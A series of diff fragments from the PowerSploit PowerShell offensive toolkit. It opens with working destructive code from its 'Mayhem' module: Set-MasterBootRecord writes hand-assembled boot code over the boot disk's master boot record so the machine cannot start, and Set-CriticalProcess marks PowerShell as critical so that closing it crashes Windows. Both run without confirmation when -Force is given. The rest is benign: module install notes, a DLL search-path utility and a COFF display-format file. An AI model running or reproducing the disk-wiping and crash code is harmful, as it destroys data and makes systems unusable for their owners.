// ??????
|
||||
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
|
||||
DeviceIoControl
|
||||
(
|
||||
hDevice,
|
||||
FSCTL_UNLOCK_VOLUME,
|
||||
NULL,
|
||||
0,
|
||||
NULL,
|
||||
0,
|
||||
&dwBytesReturned,
|
||||
NULL
|
||||
);
|
||||
CloseHandle(hDevice);
|
||||
|
||||
ExitProcess(-1);
|
||||
return 0;
|
||||
}
|
||||
#>
|
||||
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
|
||||
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
|
||||
Param (
|
||||
[ValidateLength(1, 479)]
|
||||
[String]
|
||||
$BootMessage = 'Stop-Crying; Get-NewHardDrive',
|
||||
|
||||
[Switch]
|
||||
$RebootImmediately,
|
||||
|
||||
[Switch]
|
||||
$Force
|
||||
)
|
||||
|
||||
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
|
||||
{
|
||||
throw 'This script must be executed from an elevated command prompt.'
|
||||
}
|
||||
|
||||
if (!$Force)
|
||||
{
|
||||
if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.'))
|
||||
{
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
#region define P/Invoke types dynamically
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
|
||||
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
|
||||
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
|
||||
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
|
||||
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
|
||||
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
|
||||
@('kernel32.dll'),
|
||||
[Reflection.FieldInfo[]]@($SetLastError),
|
||||
@($True))
|
||||
|
||||
# Define [Win32.Kernel32]::DeviceIoControl
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl',
|
||||
'kernel32.dll',
|
||||
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
[Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto)
|
||||
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
||||
|
||||
# Define [Win32.Kernel32]::CreateFile
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile',
|
||||
'kernel32.dll',
|
||||
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[IntPtr],
|
||||
[Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Ansi)
|
||||
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
||||
|
||||
# Define [Win32.Kernel32]::WriteFile
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile',
|
||||
'kernel32.dll',
|
||||
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
[Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Ansi)
|
||||
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
||||
|
||||
# Define [Win32.Kernel32]::CloseHandle
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle',
|
||||
'kernel32.dll',
|
||||
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Bool],
|
||||
[Type[]]@([IntPtr]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto)
|
||||
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
|
||||
|
||||
$Kernel32 = $TypeBuilder.CreateType()
|
||||
#endregion
|
||||
|
||||
$LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5)))
|
||||
# Convert the boot message to a byte array
|
||||
$MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage))
|
||||
|
||||
[Byte[]] $MBRInfectionCode = @(
|
||||
0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA
|
||||
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode
|
||||
0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color
|
||||
0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue
|
||||
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color
|
||||
0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20
|
||||
0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length
|
||||
0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters
|
||||
0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White
|
||||
0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0
|
||||
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string
|
||||
0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer
|
||||
) + $MessageBytes
|
||||
|
||||
$MBRSize = [UInt32] 512
|
||||
|
||||
if ($MBRInfectionCode.Length -gt ($MBRSize - 2))
|
||||
{
|
||||
throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes."
|
||||
}
|
||||
|
||||
# Allocate 512 bytes for the MBR
|
||||
$MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
|
||||
|
||||
# Zero-initialize the allocated unmanaged memory
|
||||
0..511 | ForEach-Object { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
|
||||
|
||||
[Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
|
||||
|
||||
# Write boot record signature to the end of the MBR
|
||||
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55)
|
||||
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA)
|
||||
|
||||
# Get the device ID of the boot disk
|
||||
$DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID
|
||||
|
||||
$GENERIC_READWRITE = 0x80000000 -bor 0x40000000
|
||||
$FILE_SHARE_READWRITE = 2 -bor 1
|
||||
$OPEN_EXISTING = 3
|
||||
|
||||
# Obtain a read handle to the raw disk
|
||||
$DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0)
|
||||
|
||||
if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF))
|
||||
{
|
||||
throw "Unable to obtain read/write handle to $DeviceID"
|
||||
}
|
||||
|
||||
$BytesReturned = [UInt32] 0
|
||||
$BytesWritten = [UInt32] 0
|
||||
$FSCTL_LOCK_VOLUME = 0x00090018
|
||||
$FSCTL_UNLOCK_VOLUME = 0x0009001C
|
||||
|
||||
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
|
||||
$null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0)
|
||||
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
|
||||
$null = $Kernel32::CloseHandle($DriveHandle)
|
||||
|
||||
Start-Sleep -Seconds 2
|
||||
|
||||
[Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes)
|
||||
|
||||
Write-Verbose 'Master boot record overwritten successfully.'
|
||||
|
||||
if ($RebootImmediately)
|
||||
{
|
||||
Restart-Computer -Force
|
||||
}
|
||||
}
|
||||
|
||||
function Set-CriticalProcess
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Causes your machine to blue screen upon exiting PowerShell.
|
||||
|
||||
PowerSploit Function: Set-CriticalProcess
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.PARAMETER ExitImmediately
|
||||
|
||||
Immediately exit PowerShell after successfully marking the process as critical.
|
||||
|
||||
.PARAMETER Force
|
||||
|
||||
Set the running PowerShell process as critical without asking for confirmation.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Set-CriticalProcess
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Set-CriticalProcess -ExitImmediately
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Set-CriticalProcess -Force -Verbose
|
||||
|
||||
#>
|
||||
|
||||
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
|
||||
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')]
|
||||
Param (
|
||||
[Switch]
|
||||
$Force,
|
||||
|
||||
[Switch]
|
||||
$ExitImmediately
|
||||
)
|
||||
|
||||
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))
|
||||
{
|
||||
throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.'
|
||||
}
|
||||
|
||||
$Response = $True
|
||||
|
||||
if (!$Force)
|
||||
{
|
||||
$Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.')
|
||||
}
|
||||
|
||||
if (!$Response)
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen')
|
||||
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False)
|
||||
|
||||
# Define [ntdll]::NtQuerySystemInformation method
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class')
|
||||
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess',
|
||||
'ntdll.dll',
|
||||
([Reflection.MethodAttributes] 'Public, Static'),
|
||||
[Reflection.CallingConventions]::Standard,
|
||||
[Int32],
|
||||
[Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]),
|
||||
[Runtime.InteropServices.CallingConvention]::Winapi,
|
||||
[Runtime.InteropServices.CharSet]::Auto)
|
||||
|
||||
$ntdll = $TypeBuilder.CreateType()
|
||||
|
||||
$ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle
|
||||
$ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)
|
||||
|
||||
$ProcessBreakOnTermination = 29
|
||||
$SizeUInt32 = 4
|
||||
|
||||
try
|
||||
{
|
||||
$null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32)
|
||||
}
|
||||
catch
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.'
|
||||
|
||||
if ($ExitImmediately)
|
||||
{
|
||||
Stop-Process -Id $PID
|
||||
}
|
||||
}
|
||||
@@ -1,12 +1,12 @@
|
||||
To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
|
||||
|
||||
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
|
||||
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
|
||||
|
||||
To use the module, type `Import-Module Recon`
|
||||
|
||||
To see the commands imported, type `Get-Command -Module Recon`
|
||||
|
||||
For help on each individual command, Get-Help is your friend.
|
||||
|
||||
To install this module, drop the entire Mayhem folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
|
||||
|
||||
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
|
||||
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
|
||||
|
||||
To use the module, type `Import-Module Mayhem`
|
||||
|
||||
To see the commands imported, type `Get-Command -Module Mayhem`
|
||||
|
||||
For help on each individual command, Get-Help is your friend.
|
||||
|
||||
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
|
||||
@@ -1,190 +0,0 @@
|
||||
function Get-DllLoadPath
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Outputs the order of paths in which a dll would be loaded.
|
||||
|
||||
PowerSploit Function: Get-DllLoadPath
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Get-DllLoadPath returns the path from which Windows will load a Dll for the given executable.
|
||||
|
||||
.PARAMETER ExecutablePath
|
||||
|
||||
Path to the executable from which the Dll would be loaded.
|
||||
|
||||
.PARAMETER DllName
|
||||
|
||||
Name of the Dll in the form 'dllname.dll'.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Get-DllLoadPath C:\Windows\System32\cmd.exe kernel32.dll
|
||||
|
||||
Path
|
||||
----
|
||||
C:\Windows\system32\kernel32.dll
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Get-DllLoadPath C:\Windows\SysWOW64\calc.exe Comctl32.dll
|
||||
|
||||
Path
|
||||
----
|
||||
C:\Windows\SysWOW64\Comctl32.dll
|
||||
|
||||
.OUTPUTS
|
||||
|
||||
System.Management.Automation.PathInfo
|
||||
|
||||
.NOTES
|
||||
|
||||
This script will not detect if the executable provided intentionally alters the Dll search path via LoadLibraryEx, SetDllDirectory, or AddDllDirectory.
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com
|
||||
http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586%28v=vs.85%29.aspx
|
||||
#>
|
||||
|
||||
Param (
|
||||
[Parameter(Position = 0, Mandatory = $True)]
|
||||
[String]
|
||||
$ExecutablePath,
|
||||
|
||||
[Parameter(Position = 1, Mandatory = $True)]
|
||||
[String]
|
||||
$DllName
|
||||
)
|
||||
|
||||
if (!(Test-Path $ExecutablePath)) {
|
||||
Write-Warning 'Invalid path or file does not exist.'
|
||||
return
|
||||
} else {
|
||||
$ExecutablePath = Resolve-Path $ExecutablePath
|
||||
$ExecutableDirectory = Split-Path $ExecutablePath
|
||||
}
|
||||
|
||||
if ($DllName.Contains('.dll')) {
|
||||
$DllNameShort = $DllName.Split('.')[0]
|
||||
} else {
|
||||
Write-Warning 'You must provide a proper dll name (i.e. kernel32.dll)'
|
||||
return
|
||||
}
|
||||
|
||||
function Get-PEArchitecture {
|
||||
|
||||
Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path )
|
||||
|
||||
# Parse PE header to see if binary was compiled 32 or 64-bit
|
||||
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
|
||||
|
||||
[Byte[]] $MZHeader = New-Object Byte[](2)
|
||||
$FileStream.Read($MZHeader,0,2) | Out-Null
|
||||
|
||||
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
|
||||
if ($Header -ne 'MZ') {
|
||||
Write-Warning 'Invalid PE header.'
|
||||
$FileStream.Close()
|
||||
return
|
||||
}
|
||||
|
||||
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
|
||||
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
|
||||
|
||||
[Byte[]] $lfanew = New-Object Byte[](4)
|
||||
|
||||
# Read offset to the PE Header (will be read in reverse)
|
||||
$FileStream.Read($lfanew,0,4) | Out-Null
|
||||
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join ''))
|
||||
|
||||
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
|
||||
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
|
||||
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
|
||||
|
||||
# Read compiled architecture
|
||||
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
|
||||
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '')
|
||||
$FileStream.Close()
|
||||
|
||||
if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) {
|
||||
Write-Warning 'Invalid PE header or unsupported architecture.'
|
||||
return
|
||||
}
|
||||
|
||||
if ($Architecture -eq '014C') {
|
||||
return 'X86'
|
||||
} elseif ($Architecture -eq '8664') {
|
||||
return 'X64'
|
||||
} else {
|
||||
return 'OTHER'
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# Check if SafeDllSearch is disabled. Note: The logic of this check will fail in XP SP0/1
|
||||
$UnsafeSearch = $False
|
||||
$SearchMode = (Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager').SafeDllSearchMode
|
||||
if ($SearchMode -eq 0) { $UnsafeSearch = $True }
|
||||
|
||||
$OSArch = (Get-WmiObject Win32_OperatingSystem -Property OSArchitecture).OSArchitecture
|
||||
$PEArch = Get-PEArchitecture $ExecutablePath
|
||||
$KnownDlls = Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs'
|
||||
|
||||
if ($OSArch -eq '32-bit') {
|
||||
$DllDirectory = Resolve-Path $KnownDlls.DllDirectory
|
||||
} else {
|
||||
if ($PEArch -eq 'X86') {
|
||||
$DllDirectory = Resolve-Path $KnownDlls.DllDirectory32
|
||||
} else {
|
||||
$DllDirectory = Resolve-Path $KnownDlls.DllDirectory
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if ($KnownDlls | Get-Member -MemberType NoteProperty | Where-Object { $_.Name -eq $DllNameShort }) {
|
||||
$Expression = '$KnownDlls.' + "$DllNameShort"
|
||||
$Filename = Invoke-Expression $Expression
|
||||
return Resolve-Path (Join-Path $DllDirectory $Filename)
|
||||
}
|
||||
|
||||
$FoundInAppDirectory = Get-ChildItem (Join-Path $ExecutableDirectory $DllName) -ErrorAction SilentlyContinue
|
||||
if ($FoundInAppDirectory) { return Resolve-Path $FoundInAppDirectory.FullName }
|
||||
|
||||
if ($UnsafeSearch) {
|
||||
$FoundInWorkingDirectory = Get-ChildItem (Join-Path (Get-Location) $DllName) -ErrorAction SilentlyContinue
|
||||
if ($FoundInWorkingDirectory) { return Resolve-Path $FoundInWorkingDirectory.FullName }
|
||||
}
|
||||
|
||||
$FoundInSystemDirectory = Get-ChildItem (Join-Path $DllDirectory $DllName) -ErrorAction SilentlyContinue
|
||||
if ($FoundInSystemDirectory) { return Resolve-Path $FoundInSystemDirectory.FullName }
|
||||
|
||||
$FoundIn16BitSystemDir = Get-ChildItem "$($Env:windir)\System\$DllName" -ErrorAction SilentlyContinue
|
||||
if ($FoundIn16BitSystemDir) { return Resolve-Path $FoundIn16BitSystemDir.FullName }
|
||||
|
||||
$FoundInWindowsDirectory = Get-ChildItem "$($Env:windir)\$DllName" -ErrorAction SilentlyContinue
|
||||
if ($FoundInWindowsDirectory) { return Resolve-Path $FoundInWindowsDirectory.FullName }
|
||||
|
||||
if (!$UnsafeSearch) {
|
||||
$FoundInWorkingDirectory = Get-ChildItem (Join-Path (Get-Location) $DllName) -ErrorAction SilentlyContinue
|
||||
if ($FoundInWorkingDirectory) { return Resolve-Path $FoundInWorkingDirectory.FullName }
|
||||
}
|
||||
|
||||
$Env:Path.Split(';') | ForEach-Object {
|
||||
if ($_ -match '%(.{1,})%') {
|
||||
$TempPath = $_.Replace($Matches[0], [Environment]::GetEnvironmentVariable($Matches[1]))
|
||||
} else {
|
||||
$TempPath = $_
|
||||
}
|
||||
|
||||
$FoundInPathEnvVar = Get-ChildItem (Join-Path $TempPath $DllName) -ErrorAction SilentlyContinue
|
||||
if ($FoundInPathEnvVar) { return Resolve-Path $FoundInPathEnvVar.FullName }
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,292 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<Configuration>
|
||||
<ViewDefinitions>
|
||||
<View>
|
||||
<Name>ObjectFileView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>COFF.OBJECT_FILE</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<ListControl>
|
||||
<ListEntries>
|
||||
<ListEntry>
|
||||
<ListItems>
|
||||
<ListItem>
|
||||
<PropertyName>COFFHeader</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>SectionHeaders</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>SymbolTable</PropertyName>
|
||||
</ListItem>
|
||||
</ListItems>
|
||||
</ListEntry>
|
||||
</ListEntries>
|
||||
</ListControl>
|
||||
</View>
|
||||
<View>
|
||||
<Name>COFFHeaderView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>COFF.HEADER</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<ListControl>
|
||||
<ListEntries>
|
||||
<ListEntry>
|
||||
<ListItems>
|
||||
<ListItem>
|
||||
<PropertyName>Machine</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>NumberOfSections</PropertyName>
|
||||
<FormatString>0x{0:X4}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>TimeDateStamp</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>PointerToSymbolTable</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>NumberOfSymbols</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>SizeOfOptionalHeader</PropertyName>
|
||||
<FormatString>0x{0:X4}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>Characteristics</PropertyName>
|
||||
</ListItem>
|
||||
</ListItems>
|
||||
</ListEntry>
|
||||
</ListEntries>
|
||||
</ListControl>
|
||||
</View>
|
||||
<View>
|
||||
<Name>SectionHeaderView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>COFF.SECTION_HEADER</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<ListControl>
|
||||
<ListEntries>
|
||||
<ListEntry>
|
||||
<ListItems>
|
||||
<ListItem>
|
||||
<PropertyName>Name</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>PhysicalAddress</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>VirtualSize</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>VirtualAddress</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>SizeOfRawData</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>PointerToRawData</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>PointerToRelocations</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>PointerToLinenumbers</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>NumberOfRelocations</PropertyName>
|
||||
<FormatString>0x{0:X4}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>NumberOfLinenumbers</PropertyName>
|
||||
<FormatString>0x{0:X4}</FormatString>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>Characteristics</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>RawData</PropertyName>
|
||||
</ListItem>
|
||||
<ListItem>
|
||||
<PropertyName>Relocations</PropertyName>
|
||||
</ListItem>
|
||||
</ListItems>
|
||||
</ListEntry>
|
||||
</ListEntries>
|
||||
</ListControl>
|
||||
</View>
|
||||
<View>
|
||||
<Name>SymbolTableView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>COFF.SYMBOL_TABLE</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<TableControl>
|
||||
<AutoSize/>
|
||||
<TableHeaders>
|
||||
<TableColumnHeader>
|
||||
<Label>Name</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>Value</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>SectionNumber</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>Type</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>StorageClass</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>NumberOfAuxSymbols</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>AuxSymbols</Label>
|
||||
</TableColumnHeader>
|
||||
</TableHeaders>
|
||||
<TableRowEntries>
|
||||
<TableRowEntry>
|
||||
<TableColumnItems>
|
||||
<TableColumnItem>
|
||||
<PropertyName>Name</PropertyName>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>Value</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>SectionNumber</PropertyName>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>Type</PropertyName>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>StorageClass</PropertyName>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>NumberOfAuxSymbols</PropertyName>
|
||||
<FormatString>0x{0:X2}</FormatString>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>AuxSymbols</PropertyName>
|
||||
</TableColumnItem>
|
||||
</TableColumnItems>
|
||||
</TableRowEntry>
|
||||
</TableRowEntries>
|
||||
</TableControl>
|
||||
</View>
|
||||
<View>
|
||||
<Name>SectionDefinitionView</Name>
|
||||
<ViewSelectedBy>
|
||||
<TypeName>COFF.SECTION_DEFINITION</TypeName>
|
||||
</ViewSelectedBy>
|
||||
<TableControl>
|
||||
<AutoSize/>
|
||||
<TableHeaders>
|
||||
<TableColumnHeader>
|
||||
<Label>Length</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>NumberOfRelocations</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>NumberOfLinenumbers</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>CheckSum</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>Number</Label>
|
||||
</TableColumnHeader>
|
||||
<TableColumnHeader>
|
||||
<Label>Selection</Label>
|
||||
</TableColumnHeader>
|
||||
</TableHeaders>
|
||||
<TableRowEntries>
|
||||
<TableRowEntry>
|
||||
<TableColumnItems>
|
||||
<TableColumnItem>
|
||||
<PropertyName>Length</PropertyName>
|
||||
<FormatString>0x{0:X8}</FormatString>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>NumberOfRelocations</PropertyName>
|
||||
<FormatString>0x{0:X4}</FormatString>
|
||||
</TableColumnItem>
|
||||
<TableColumnItem>
|
||||
<PropertyName>NumberOfLinenumbers</PropertyName>
|
